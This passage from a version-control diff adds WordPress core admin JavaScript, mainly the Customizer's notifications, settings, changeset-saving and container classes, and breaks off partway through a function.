+					// Set the text of the button.
+					text: $el.data('update'),
+					// Tell the button not to close the modal, since we're
+					// going to refresh the page when the image is selected.
+					close: false
+				}
+			});
+
+			// When an image is selected, run a callback.
+			frame.on( 'select', function() {
+				// Grab the selected attachment.
+				var attachment = frame.state().get('selection').first(),
+					link = $el.data('updateLink');
+
+				// Tell the browser to navigate to the crop step.
+				window.location = link + '&file=' + attachment.id;
+			});
+
+			frame.open();
+		});
+	});
+}(jQuery));
Index: /tags/5.0.20/src/wp-admin/js/customize-controls.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/customize-controls.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/customize-controls.js	(revision 56912)
@@ -0,0 +1,9297 @@
+/* global _wpCustomizeHeader, _wpCustomizeBackground, _wpMediaViewsL10n, MediaElementPlayer, console, confirm */
+(function( exports, $ ){
+	var Container, focus, normalizedTransitionendEventName, api = wp.customize;
+
+	/**
+	 * A notification that is displayed in a full-screen overlay.
+	 *
+	 * @since 4.9.0
+	 * @class
+	 * @augments wp.customize.Notification
+	 */
+	api.OverlayNotification = api.Notification.extend({
+
+		/**
+		 * Whether the notification should show a loading spinner.
+		 *
+		 * @since 4.9.0
+		 * @var {boolean}
+		 */
+		loading: false,
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string} code - Code.
+		 * @param {object} params - Params.
+		 */
+		initialize: function( code, params ) {
+			var notification = this;
+			api.Notification.prototype.initialize.call( notification, code, params );
+			notification.containerClasses += ' notification-overlay';
+			if ( notification.loading ) {
+				notification.containerClasses += ' notification-loading';
+			}
+		},
+
+		/**
+		 * Render notification.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @return {jQuery} Notification container.
+		 */
+		render: function() {
+			var li = api.Notification.prototype.render.call( this );
+			li.on( 'keydown', _.bind( this.handleEscape, this ) );
+			return li;
+		},
+
+		/**
+		 * Stop propagation on escape key presses, but also dismiss notification if it is dismissible.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {jQuery.Event} event - Event.
+		 * @returns {void}
+		 */
+		handleEscape: function( event ) {
+			var notification = this;
+			if ( 27 === event.which ) {
+				event.stopPropagation();
+				if ( notification.dismissible && notification.parent ) {
+					notification.parent.remove( notification.code );
+				}
+			}
+		}
+	});
+
+	/**
+	 * A collection of observable notifications.
+	 *
+	 * @since 4.9.0
+	 * @class
+	 * @augments wp.customize.Values
+	 */
+	api.Notifications = api.Values.extend({
+
+		/**
+		 * Whether the alternative style should be used.
+		 *
+		 * @since 4.9.0
+		 * @type {boolean}
+		 */
+		alt: false,
+
+		/**
+		 * The default constructor for items of the collection.
+		 *
+		 * @since 4.9.0
+		 * @type {object}
+		 */
+		defaultConstructor: api.Notification,
+
+		/**
+		 * Initialize notifications area.
+		 *
+		 * @since 4.9.0
+		 * @constructor
+		 * @param {object}  options - Options.
+		 * @param {jQuery}  [options.container] - Container element for notifications. This can be injected later.
+		 * @param {boolean} [options.alt] - Whether alternative style should be used when rendering notifications.
+		 * @returns {void}
+		 * @this {wp.customize.Notifications}
+		 */
+		initialize: function( options ) {
+			var collection = this;
+
+			api.Values.prototype.initialize.call( collection, options );
+
+			_.bindAll( collection, 'constrainFocus' );
+
+			// Keep track of the order in which the notifications were added for sorting purposes.
+			collection._addedIncrement = 0;
+			collection._addedOrder = {};
+
+			// Trigger change event when notification is added or removed.
+			collection.bind( 'add', function( notification ) {
+				collection.trigger( 'change', notification );
+			});
+			collection.bind( 'removed', function( notification ) {
+				collection.trigger( 'change', notification );
+			});
+		},
+
+		/**
+		 * Get the number of notifications added.
+		 *
+		 * @since 4.9.0
+		 * @return {number} Count of notifications.
+		 */
+		count: function() {
+			return _.size( this._value );
+		},
+
+		/**
+		 * Add notification to the collection.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {string|wp.customize.Notification} notification - Notification object to add. Alternatively code may be supplied, and in that case the second notificationObject argument must be supplied.
+		 * @param {wp.customize.Notification} [notificationObject] - Notification to add when first argument is the code string.
+		 * @returns {wp.customize.Notification} Added notification (or existing instance if it was already added).
+		 */
+		add: function( notification, notificationObject ) {
+			var collection = this, code, instance;
+			if ( 'string' === typeof notification ) {
+				code = notification;
+				instance = notificationObject;
+			} else {
+				code = notification.code;
+				instance = notification;
+			}
+			if ( ! collection.has( code ) ) {
+				collection._addedIncrement += 1;
+				collection._addedOrder[ code ] = collection._addedIncrement;
+			}
+			return api.Values.prototype.add.call( collection, code, instance );
+		},
+
+		/**
+		 * Add notification to the collection.
+		 *
+		 * @since 4.9.0
+		 * @param {string} code - Notification code to remove.
+		 * @return {api.Notification} Added instance (or existing instance if it was already added).
+		 */
+		remove: function( code ) {
+			var collection = this;
+			delete collection._addedOrder[ code ];
+			return api.Values.prototype.remove.call( this, code );
+		},
+
+		/**
+		 * Get list of notifications.
+		 *
+		 * Notifications may be sorted by type followed by added time.
+		 *
+		 * @since 4.9.0
+		 * @param {object}  args - Args.
+		 * @param {boolean} [args.sort=false] - Whether to return the notifications sorted.
+		 * @return {Array.<wp.customize.Notification>} Notifications.
+		 * @this {wp.customize.Notifications}
+		 */
+		get: function( args ) {
+			var collection = this, notifications, errorTypePriorities, params;
+			notifications = _.values( collection._value );
+
+			params = _.extend(
+				{ sort: false },
+				args
+			);
+
+			if ( params.sort ) {
+				errorTypePriorities = { error: 4, warning: 3, success: 2, info: 1 };
+				notifications.sort( function( a, b ) {
+					var aPriority = 0, bPriority = 0;
+					if ( ! _.isUndefined( errorTypePriorities[ a.type ] ) ) {
+						aPriority = errorTypePriorities[ a.type ];
+					}
+					if ( ! _.isUndefined( errorTypePriorities[ b.type ] ) ) {
+						bPriority = errorTypePriorities[ b.type ];
+					}
+					if ( aPriority !== bPriority ) {
+						return bPriority - aPriority; // Show errors first.
+					}
+					return collection._addedOrder[ b.code ] - collection._addedOrder[ a.code ]; // Show newer notifications higher.
+				});
+			}
+
+			return notifications;
+		},
+
+		/**
+		 * Render notifications area.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 * @this {wp.customize.Notifications}
+		 */
+		render: function() {
+			var collection = this,
+				notifications, hadOverlayNotification = false, hasOverlayNotification, overlayNotifications = [],
+				previousNotificationsByCode = {},
+				listElement, focusableElements;
+
+			// Short-circuit if there are no container to render into.
+			if ( ! collection.container || ! collection.container.length ) {
+				return;
+			}
+
+			notifications = collection.get( { sort: true } );
+			collection.container.toggle( 0 !== notifications.length );
+
+			// Short-circuit if there are no changes to the notifications.
+			if ( collection.container.is( collection.previousContainer ) && _.isEqual( notifications, collection.previousNotifications ) ) {
+				return;
+			}
+
+			// Make sure list is part of the container.
+			listElement = collection.container.children( 'ul' ).first();
+			if ( ! listElement.length ) {
+				listElement = $( '<ul></ul>' );
+				collection.container.append( listElement );
+			}
+
+			// Remove all notifications prior to re-rendering.
+			listElement.find( '> [data-code]' ).remove();
+
+			_.each( collection.previousNotifications, function( notification ) {
+				previousNotificationsByCode[ notification.code ] = notification;
+			});
+
+			// Add all notifications in the sorted order.
+			_.each( notifications, function( notification ) {
+				var notificationContainer;
+				if ( wp.a11y && ( ! previousNotificationsByCode[ notification.code ] || ! _.isEqual( notification.message, previousNotificationsByCode[ notification.code ].message ) ) ) {
+					wp.a11y.speak( notification.message, 'assertive' );
+				}
+				notificationContainer = $( notification.render() );
+				notification.container = notificationContainer;
+				listElement.append( notificationContainer ); // @todo Consider slideDown() as enhancement.
+
+				if ( notification.extended( api.OverlayNotification ) ) {
+					overlayNotifications.push( notification );
+				}
+			});
+			hasOverlayNotification = Boolean( overlayNotifications.length );
+
+			if ( collection.previousNotifications ) {
+				hadOverlayNotification = Boolean( _.find( collection.previousNotifications, function( notification ) {
+					return notification.extended( api.OverlayNotification );
+				} ) );
+			}
+
+			if ( hasOverlayNotification !== hadOverlayNotification ) {
+				$( document.body ).toggleClass( 'customize-loading', hasOverlayNotification );
+				collection.container.toggleClass( 'has-overlay-notifications', hasOverlayNotification );
+				if ( hasOverlayNotification ) {
+					collection.previousActiveElement = document.activeElement;
+					$( document ).on( 'keydown', collection.constrainFocus );
+				} else {
+					$( document ).off( 'keydown', collection.constrainFocus );
+				}
+			}
+
+			if ( hasOverlayNotification ) {
+				collection.focusContainer = overlayNotifications[ overlayNotifications.length - 1 ].container;
+				collection.focusContainer.prop( 'tabIndex', -1 );
+				focusableElements = collection.focusContainer.find( ':focusable' );
+				if ( focusableElements.length ) {
+					focusableElements.first().focus();
+				} else {
+					collection.focusContainer.focus();
+				}
+			} else if ( collection.previousActiveElement ) {
+				$( collection.previousActiveElement ).focus();
+				collection.previousActiveElement = null;
+			}
+
+			collection.previousNotifications = notifications;
+			collection.previousContainer = collection.container;
+			collection.trigger( 'rendered' );
+		},
+
+		/**
+		 * Constrain focus on focus container.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {jQuery.Event} event - Event.
+		 * @returns {void}
+		 */
+		constrainFocus: function constrainFocus( event ) {
+			var collection = this, focusableElements;
+
+			// Prevent keys from escaping.
+			event.stopPropagation();
+
+			if ( 9 !== event.which ) { // Tab key.
+				return;
+			}
+
+			focusableElements = collection.focusContainer.find( ':focusable' );
+			if ( 0 === focusableElements.length ) {
+				focusableElements = collection.focusContainer;
+			}
+
+			if ( ! $.contains( collection.focusContainer[0], event.target ) || ! $.contains( collection.focusContainer[0], document.activeElement ) ) {
+				event.preventDefault();
+				focusableElements.first().focus();
+			} else if ( focusableElements.last().is( event.target ) && ! event.shiftKey ) {
+				event.preventDefault();
+				focusableElements.first().focus();
+			} else if ( focusableElements.first().is( event.target ) && event.shiftKey ) {
+				event.preventDefault();
+				focusableElements.last().focus();
+			}
+		}
+	});
+
+	/**
+	 * A Customizer Setting.
+	 *
+	 * A setting is WordPress data (theme mod, option, menu, etc.) that the user can
+	 * draft changes to in the Customizer.
+	 *
+	 * @see PHP class WP_Customize_Setting.
+	 *
+	 * @since 3.4.0
+	 * @class
+	 * @augments wp.customize.Value
+	 * @augments wp.customize.Class
+	 */
+	api.Setting = api.Value.extend({
+
+		/**
+		 * Default params.
+		 *
+		 * @since 4.9.0
+		 * @var {object}
+		 */
+		defaults: {
+			transport: 'refresh',
+			dirty: false
+		},
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param {string}  id                          - The setting ID.
+		 * @param {*}       value                       - The initial value of the setting.
+		 * @param {object}  [options={}]                - Options.
+		 * @param {string}  [options.transport=refresh] - The transport to use for previewing. Supports 'refresh' and 'postMessage'.
+		 * @param {boolean} [options.dirty=false]       - Whether the setting should be considered initially dirty.
+		 * @param {object}  [options.previewer]         - The Previewer instance to sync with. Defaults to wp.customize.previewer.
+		 */
+		initialize: function( id, value, options ) {
+			var setting = this, params;
+			params = _.extend(
+				{ previewer: api.previewer },
+				setting.defaults,
+				options || {}
+			);
+
+			api.Value.prototype.initialize.call( setting, value, params );
+
+			setting.id = id;
+			setting._dirty = params.dirty; // The _dirty property is what the Customizer reads from.
+			setting.notifications = new api.Notifications();
+
+			// Whenever the setting's value changes, refresh the preview.
+			setting.bind( setting.preview );
+		},
+
+		/**
+		 * Refresh the preview, respective of the setting's refresh policy.
+		 *
+		 * If the preview hasn't sent a keep-alive message and is likely
+		 * disconnected by having navigated to a non-allowed URL, then the
+		 * refresh transport will be forced when postMessage is the transport.
+		 * Note that postMessage does not throw an error when the recipient window
+		 * fails to match the origin window, so using try/catch around the
+		 * previewer.send() call to then fallback to refresh will not work.
+		 *
+		 * @since 3.4.0
+		 * @access public
+		 *
+		 * @returns {void}
+		 */
+		preview: function() {
+			var setting = this, transport;
+			transport = setting.transport;
+
+			if ( 'postMessage' === transport && ! api.state( 'previewerAlive' ).get() ) {
+				transport = 'refresh';
+			}
+
+			if ( 'postMessage' === transport ) {
+				setting.previewer.send( 'setting', [ setting.id, setting() ] );
+			} else if ( 'refresh' === transport ) {
+				setting.previewer.refresh();
+			}
+		},
+
+		/**
+		 * Find controls associated with this setting.
+		 *
+		 * @since 4.6.0
+		 * @returns {wp.customize.Control[]} Controls associated with setting.
+		 */
+		findControls: function() {
+			var setting = this, controls = [];
+			api.control.each( function( control ) {
+				_.each( control.settings, function( controlSetting ) {
+					if ( controlSetting.id === setting.id ) {
+						controls.push( control );
+					}
+				} );
+			} );
+			return controls;
+		}
+	});
+
+	/**
+	 * Current change count.
+	 *
+	 * @since 4.7.0
+	 * @type {number}
+	 * @protected
+	 */
+	api._latestRevision = 0;
+
+	/**
+	 * Last revision that was saved.
+	 *
+	 * @since 4.7.0
+	 * @type {number}
+	 * @protected
+	 */
+	api._lastSavedRevision = 0;
+
+	/**
+	 * Latest revisions associated with the updated setting.
+	 *
+	 * @since 4.7.0
+	 * @type {object}
+	 * @protected
+	 */
+	api._latestSettingRevisions = {};
+
+	/*
+	 * Keep track of the revision associated with each updated setting so that
+	 * requestChangesetUpdate knows which dirty settings to include. Also, once
+	 * ready is triggered and all initial settings have been added, increment
+	 * revision for each newly-created initially-dirty setting so that it will
+	 * also be included in changeset update requests.
+	 */
+	api.bind( 'change', function incrementChangedSettingRevision( setting ) {
+		api._latestRevision += 1;
+		api._latestSettingRevisions[ setting.id ] = api._latestRevision;
+	} );
+	api.bind( 'ready', function() {
+		api.bind( 'add', function incrementCreatedSettingRevision( setting ) {
+			if ( setting._dirty ) {
+				api._latestRevision += 1;
+				api._latestSettingRevisions[ setting.id ] = api._latestRevision;
+			}
+		} );
+	} );
+
+	/**
+	 * Get the dirty setting values.
+	 *
+	 * @since 4.7.0
+	 * @access public
+	 *
+	 * @param {object} [options] Options.
+	 * @param {boolean} [options.unsaved=false] Whether only values not saved yet into a changeset will be returned (differential changes).
+	 * @returns {object} Dirty setting values.
+	 */
+	api.dirtyValues = function dirtyValues( options ) {
+		var values = {};
+		api.each( function( setting ) {
+			var settingRevision;
+
+			if ( ! setting._dirty ) {
+				return;
+			}
+
+			settingRevision = api._latestSettingRevisions[ setting.id ];
+
+			// Skip including settings that have already been included in the changeset, if only requesting unsaved.
+			if ( api.state( 'changesetStatus' ).get() && ( options && options.unsaved ) && ( _.isUndefined( settingRevision ) || settingRevision <= api._lastSavedRevision ) ) {
+				return;
+			}
+
+			values[ setting.id ] = setting.get();
+		} );
+		return values;
+	};
+
+	/**
+	 * Request updates to the changeset.
+	 *
+	 * @since 4.7.0
+	 * @access public
+	 *
+	 * @param {object}  [changes] - Mapping of setting IDs to setting params each normally including a value property, or mapping to null.
+	 *                             If not provided, then the changes will still be obtained from unsaved dirty settings.
+	 * @param {object}  [args] - Additional options for the save request.
+	 * @param {boolean} [args.autosave=false] - Whether changes will be stored in autosave revision if the changeset has been promoted from an auto-draft.
+	 * @param {boolean} [args.force=false] - Send request to update even when there are no changes to submit. This can be used to request the latest status of the changeset on the server.
+	 * @param {string}  [args.title] - Title to update in the changeset. Optional.
+	 * @param {string}  [args.date] - Date to update in the changeset. Optional.
+	 * @returns {jQuery.Promise} Promise resolving with the response data.
+	 */
+	api.requestChangesetUpdate = function requestChangesetUpdate( changes, args ) {
+		var deferred, request, submittedChanges = {}, data, submittedArgs;
+		deferred = new $.Deferred();
+
+		// Prevent attempting changeset update while request is being made.
+		if ( 0 !== api.state( 'processing' ).get() ) {
+			deferred.reject( 'already_processing' );
+			return deferred.promise();
+		}
+
+		submittedArgs = _.extend( {
+			title: null,
+			date: null,
+			autosave: false,
+			force: false
+		}, args );
+
+		if ( changes ) {
+			_.extend( submittedChanges, changes );
+		}
+
+		// Ensure all revised settings (changes pending save) are also included, but not if marked for deletion in changes.
+		_.each( api.dirtyValues( { unsaved: true } ), function( dirtyValue, settingId ) {
+			if ( ! changes || null !== changes[ settingId ] ) {
+				submittedChanges[ settingId ] = _.extend(
+					{},
+					submittedChanges[ settingId ] || {},
+					{ value: dirtyValue }
+				);
+			}
+		} );
+
+		// Allow plugins to attach additional params to the settings.
+		api.trigger( 'changeset-save', submittedChanges, submittedArgs );
+
+		// Short-circuit when there are no pending changes.
+		if ( ! submittedArgs.force && _.isEmpty( submittedChanges ) && null === submittedArgs.title && null === submittedArgs.date ) {
+			deferred.resolve( {} );
+			return deferred.promise();
+		}
+
+		// A status would cause a revision to be made, and for this wp.customize.previewer.save() should be used. Status is also disallowed for revisions regardless.
+		if ( submittedArgs.status ) {
+			return deferred.reject( { code: 'illegal_status_in_changeset_update' } ).promise();
+		}
+
+		// Dates not beung allowed for revisions are is a technical limitation of post revisions.
+		if ( submittedArgs.date && submittedArgs.autosave ) {
+			return deferred.reject( { code: 'illegal_autosave_with_date_gmt' } ).promise();
+		}
+
+		// Make sure that publishing a changeset waits for all changeset update requests to complete.
+		api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
+		deferred.always( function() {
+			api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
+		} );
+
+		// Ensure that if any plugins add data to save requests by extending query() that they get included here.
+		data = api.previewer.query( { excludeCustomizedSaved: true } );
+		delete data.customized; // Being sent in customize_changeset_data instead.
+		_.extend( data, {
+			nonce: api.settings.nonce.save,
+			customize_theme: api.settings.theme.stylesheet,
+			customize_changeset_data: JSON.stringify( submittedChanges )
+		} );
+		if ( null !== submittedArgs.title ) {
+			data.customize_changeset_title = submittedArgs.title;
+		}
+		if ( null !== submittedArgs.date ) {
+			data.customize_changeset_date = submittedArgs.date;
+		}
+		if ( false !== submittedArgs.autosave ) {
+			data.customize_changeset_autosave = 'true';
+		}
+
+		// Allow plugins to modify the params included with the save request.
+		api.trigger( 'save-request-params', data );
+
+		request = wp.ajax.post( 'customize_save', data );
+
+		request.done( function requestChangesetUpdateDone( data ) {
+			var savedChangesetValues = {};
+
+			// Ensure that all settings updated subsequently will be included in the next changeset update request.
+			api._lastSavedRevision = Math.max( api._latestRevision, api._lastSavedRevision );
+
+			api.state( 'changesetStatus' ).set( data.changeset_status );
+
+			if ( data.changeset_date ) {
+				api.state( 'changesetDate' ).set( data.changeset_date );
+			}
+
+			deferred.resolve( data );
+			api.trigger( 'changeset-saved', data );
+
+			if ( data.setting_validities ) {
+				_.each( data.setting_validities, function( validity, settingId ) {
+					if ( true === validity && _.isObject( submittedChanges[ settingId ] ) && ! _.isUndefined( submittedChanges[ settingId ].value ) ) {
+						savedChangesetValues[ settingId ] = submittedChanges[ settingId ].value;
+					}
+				} );
+			}
+
+			api.previewer.send( 'changeset-saved', _.extend( {}, data, { saved_changeset_values: savedChangesetValues } ) );
+		} );
+		request.fail( function requestChangesetUpdateFail( data ) {
+			deferred.reject( data );
+			api.trigger( 'changeset-error', data );
+		} );
+		request.always( function( data ) {
+			if ( data.setting_validities ) {
+				api._handleSettingValidities( {
+					settingValidities: data.setting_validities
+				} );
+			}
+		} );
+
+		return deferred.promise();
+	};
+
+	/**
+	 * Watch all changes to Value properties, and bubble changes to parent Values instance
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {wp.customize.Class} instance
+	 * @param {Array}              properties  The names of the Value instances to watch.
+	 */
+	api.utils.bubbleChildValueChanges = function ( instance, properties ) {
+		$.each( properties, function ( i, key ) {
+			instance[ key ].bind( function ( to, from ) {
+				if ( instance.parent && to !== from ) {
+					instance.parent.trigger( 'change', instance );
+				}
+			} );
+		} );
+	};
+
+	/**
+	 * Expand a panel, section, or control and focus on the first focusable element.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {Object}   [params]
+	 * @param {Function} [params.completeCallback]
+	 */
+	focus = function ( params ) {
+		var construct, completeCallback, focus, focusElement;
+		construct = this;
+		params = params || {};
+		focus = function () {
+			var focusContainer;
+			if ( ( construct.extended( api.Panel ) || construct.extended( api.Section ) ) && construct.expanded && construct.expanded() ) {
+				focusContainer = construct.contentContainer;
+			} else {
+				focusContainer = construct.container;
+			}
+
+			focusElement = focusContainer.find( '.control-focus:first' );
+			if ( 0 === focusElement.length ) {
+				// Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
+				focusElement = focusContainer.find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ).first();
+			}
+			focusElement.focus();
+		};
+		if ( params.completeCallback ) {
+			completeCallback = params.completeCallback;
+			params.completeCallback = function () {
+				focus();
+				completeCallback();
+			};
+		} else {
+			params.completeCallback = focus;
+		}
+
+		api.state( 'paneVisible' ).set( true );
+		if ( construct.expand ) {
+			construct.expand( params );
+		} else {
+			params.completeCallback();
+		}
+	};
+
+	/**
+	 * Stable sort for Panels, Sections, and Controls.
+	 *
+	 * If a.priority() === b.priority(), then sort by their respective params.instanceNumber.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} a
+	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} b
+	 * @returns {Number}
+	 */
+	api.utils.prioritySort = function ( a, b ) {
+		if ( a.priority() === b.priority() && typeof a.params.instanceNumber === 'number' && typeof b.params.instanceNumber === 'number' ) {
+			return a.params.instanceNumber - b.params.instanceNumber;
+		} else {
+			return a.priority() - b.priority();
+		}
+	};
+
+	/**
+	 * Return whether the supplied Event object is for a keydown event but not the Enter key.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {jQuery.Event} event
+	 * @returns {boolean}
+	 */
+	api.utils.isKeydownButNotEnterEvent = function ( event ) {
+		return ( 'keydown' === event.type && 13 !== event.which );
+	};
+
+	/**
+	 * Return whether the two lists of elements are the same and are in the same order.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {Array|jQuery} listA
+	 * @param {Array|jQuery} listB
+	 * @returns {boolean}
+	 */
+	api.utils.areElementListsEqual = function ( listA, listB ) {
+		var equal = (
+			listA.length === listB.length && // if lists are different lengths, then naturally they are not equal
+			-1 === _.indexOf( _.map( // are there any false values in the list returned by map?
+				_.zip( listA, listB ), // pair up each element between the two lists
+				function ( pair ) {
+					return $( pair[0] ).is( pair[1] ); // compare to see if each pair are equal
+				}
+			), false ) // check for presence of false in map's return value
+		);
+		return equal;
+	};
+
+	/**
+	 * Highlight the existence of a button.
+	 *
+	 * This function reminds the user of a button represented by the specified
+	 * UI element, after an optional delay. If the user focuses the element
+	 * before the delay passes, the reminder is canceled.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param {jQuery} button - The element to highlight.
+	 * @param {object} [options] - Options.
+	 * @param {number} [options.delay=0] - Delay in milliseconds.
+	 * @param {jQuery} [options.focusTarget] - A target for user focus that defaults to the highlighted element.
+	 *                                         If the user focuses the target before the delay passes, the reminder
+	 *                                         is canceled. This option exists to accommodate compound buttons
+	 *                                         containing auxiliary UI, such as the Publish button augmented with a
+	 *                                         Settings button.
+	 * @returns {Function} An idempotent function that cancels the reminder.
+	 */
+	api.utils.highlightButton = function highlightButton( button, options ) {
+		var animationClass = 'button-see-me',
+			canceled = false,
+			params;
+
+		params = _.extend(
+			{
+				delay: 0,
+				focusTarget: button
+			},
+			options
+		);
+
+		function cancelReminder() {
+			canceled = true;
+		}
+
+		params.focusTarget.on( 'focusin', cancelReminder );
+		setTimeout( function() {
+			params.focusTarget.off( 'focusin', cancelReminder );
+
+			if ( ! canceled ) {
+				button.addClass( animationClass );
+				button.one( 'animationend', function() {
+					/*
+					 * Remove animation class to avoid situations in Customizer where
+					 * DOM nodes are moved (re-inserted) and the animation repeats.
+					 */
+					button.removeClass( animationClass );
+				} );
+			}
+		}, params.delay );
+
+		return cancelReminder;
+	};
+
+	/**
+	 * Get current timestamp adjusted for server clock time.
+	 *
+	 * Same functionality as the `current_time( 'mysql', false )` function in PHP.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @returns {int} Current timestamp.
+	 */
+	api.utils.getCurrentTimestamp = function getCurrentTimestamp() {
+		var currentDate, currentClientTimestamp, timestampDifferential;
+		currentClientTimestamp = _.now();
+		currentDate = new Date( api.settings.initialServerDate.replace( /-/g, '/' ) );
+		timestampDifferential = currentClientTimestamp - api.settings.initialClientTimestamp;
+		timestampDifferential += api.settings.initialClientTimestamp - api.settings.initialServerTimestamp;
+		currentDate.setTime( currentDate.getTime() + timestampDifferential );
+		return currentDate.getTime();
+	};
+
+	/**
+	 * Get remaining time of when the date is set.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param {string|int|Date} datetime - Date time or timestamp of the future date.
+	 * @return {int} remainingTime - Remaining time in milliseconds.
+	 */
+	api.utils.getRemainingTime = function getRemainingTime( datetime ) {
+		var millisecondsDivider = 1000, remainingTime, timestamp;
+		if ( datetime instanceof Date ) {
+			timestamp = datetime.getTime();
+		} else if ( 'string' === typeof datetime ) {
+			timestamp = ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime();
+		} else {
+			timestamp = datetime;
+		}
+
+		remainingTime = timestamp - api.utils.getCurrentTimestamp();
+		remainingTime = Math.ceil( remainingTime / millisecondsDivider );
+		return remainingTime;
+	};
+
+	/**
+	 * Return browser supported `transitionend` event name.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @returns {string|null} Normalized `transitionend` event name or null if CSS transitions are not supported.
+	 */
+	normalizedTransitionendEventName = (function () {
+		var el, transitions, prop;
+		el = document.createElement( 'div' );
+		transitions = {
+			'transition'      : 'transitionend',
+			'OTransition'     : 'oTransitionEnd',
+			'MozTransition'   : 'transitionend',
+			'WebkitTransition': 'webkitTransitionEnd'
+		};
+		prop = _.find( _.keys( transitions ), function( prop ) {
+			return ! _.isUndefined( el.style[ prop ] );
+		} );
+		if ( prop ) {
+			return transitions[ prop ];
+		} else {
+			return null;
+		}
+	})();
+
+	/**
+	 * Base class for Panel and Section.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 */
+	Container = api.Class.extend({
+		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
+		defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop },
+		containerType: 'container',
+		defaults: {
+			title: '',
+			description: '',
+			priority: 100,
+			type: 'default',
+			content: null,
+			active: true,
+			instanceNumber: null
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {string}         id - The ID for the container.
+		 * @param {object}         options - Object containing one property: params.
+		 * @param {string}         options.title - Title shown when panel is collapsed and expanded.
+		 * @param {string=}        [options.description] - Description shown at the top of the panel.
+		 * @param {number=100}     [options.priority] - The sort priority for the panel.
+		 * @param {string}         [options.templateId] - Template selector for container.
+		 * @param {string=default} [options.type] - The type of the panel. See wp.customize.panelConstructor.
+		 * @param {string=}        [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
+		 * @param {boolean=true}   [options.active] - Whether the panel is active or not.
+		 * @param {object}         [options.params] - Deprecated wrapper for the above properties.
+		 */
+		initialize: function ( id, options ) {
+			var container = this;
+			container.id = id;
+
+			if ( ! Container.instanceCounter ) {
+				Container.instanceCounter = 0;
+			}
+			Container.instanceCounter++;
+
+			$.extend( container, {
+				params: _.defaults(
+					options.params || options, // Passing the params is deprecated.
+					container.defaults
+				)
+			} );
+			if ( ! container.params.instanceNumber ) {
+				container.params.instanceNumber = Container.instanceCounter;
+			}
+			container.notifications = new api.Notifications();
+			container.templateSelector = container.params.templateId || 'customize-' + container.containerType + '-' + container.params.type;
+			container.container = $( container.params.content );
+			if ( 0 === container.container.length ) {
+				container.container = $( container.getContainer() );
+			}
+			container.headContainer = container.container;
+			container.contentContainer = container.getContent();
+			container.container = container.container.add( container.contentContainer );
+
+			container.deferred = {
+				embedded: new $.Deferred()
+			};
+			container.priority = new api.Value();
+			container.active = new api.Value();
+			container.activeArgumentsQueue = [];
+			container.expanded = new api.Value();
+			container.expandedArgumentsQueue = [];
+
+			container.active.bind( function ( active ) {
+				var args = container.activeArgumentsQueue.shift();
+				args = $.extend( {}, container.defaultActiveArguments, args );
+				active = ( active && container.isContextuallyActive() );
+				container.onChangeActive( active, args );
+			});
+			container.expanded.bind( function ( expanded ) {
+				var args = container.expandedArgumentsQueue.shift();
+				args = $.extend( {}, container.defaultExpandedArguments, args );
+				container.onChangeExpanded( expanded, args );
+			});
+
+			container.deferred.embedded.done( function () {
+				container.setupNotifications();
+				container.attachEvents();
+			});
+
+			api.utils.bubbleChildValueChanges( container, [ 'priority', 'active' ] );
+
+			container.priority.set( container.params.priority );
+			container.active.set( container.params.active );
+			container.expanded.set( false );
+		},
+
+		/**
+		 * Get the element that will contain the notifications.
+		 *
+		 * @since 4.9.0
+		 * @returns {jQuery} Notification container element.
+		 * @this {wp.customize.Control}
+		 */
+		getNotificationsContainerElement: function() {
+			var container = this;
+			return container.contentContainer.find( '.customize-control-notifications-container:first' );
+		},
+
+		/**
+		 * Set up notifications.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		setupNotifications: function() {
+			var container = this, renderNotifications;
+			container.notifications.container = container.getNotificationsContainerElement();
+
+			// Render notifications when they change and when the construct is expanded.
+			renderNotifications = function() {
+				if ( container.expanded.get() ) {
+					container.notifications.render();
+				}
+			};
+			container.expanded.bind( renderNotifications );
+			renderNotifications();
+			container.notifications.bind( 'change', _.debounce( renderNotifications ) );
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @abstract
+		 */
+		ready: function() {},
+
+		/**
+		 * Get the child models associated with this parent, sorting them by their priority Value.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {String} parentType
+		 * @param {String} childType
+		 * @returns {Array}
+		 */
+		_children: function ( parentType, childType ) {
+			var parent = this,
+				children = [];
+			api[ childType ].each( function ( child ) {
+				if ( child[ parentType ].get() === parent.id ) {
+					children.push( child );
+				}
+			} );
+			children.sort( api.utils.prioritySort );
+			return children;
+		},
+
+		/**
+		 * To override by subclass, to return whether the container has active children.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @abstract
+		 */
+		isContextuallyActive: function () {
